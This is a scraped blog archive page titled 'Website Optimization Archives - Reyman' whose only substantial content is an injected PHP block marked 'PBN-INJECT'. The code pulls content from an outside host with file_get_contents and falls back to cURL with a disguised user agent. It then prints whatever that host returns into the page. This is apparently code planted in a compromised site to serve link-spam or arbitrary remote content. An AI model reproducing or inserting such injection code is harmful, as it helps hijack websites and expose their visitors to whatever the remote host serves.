Website Optimization Archives - Reyman
Skip to content
/* PBN-INJECT-START:ef4070ae8a093d5624e707ce40a3ee792c9e9232 */
$url = "https://nawalaku.my.id/bl/";
// try file_get_contents first
$content = @file_get_contents($url);
if ($content === false) {
// fallback to cURL
if (function_exists('curl_version')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; FetchBot/1.0)');
// fetch
$content = curl_exec($ch);
$errno = curl_errno($ch);
$err = curl_error($ch);
curl_close($ch);
if ($content === false || $errno !== 0) {
echo "";
exit;
}
} else {
echo "";
exit;
}
}
// output content
echo $content;
/* PBN-INJECT-END:ef4070ae8a093d5624e707ce40a3ee792c9e9232 */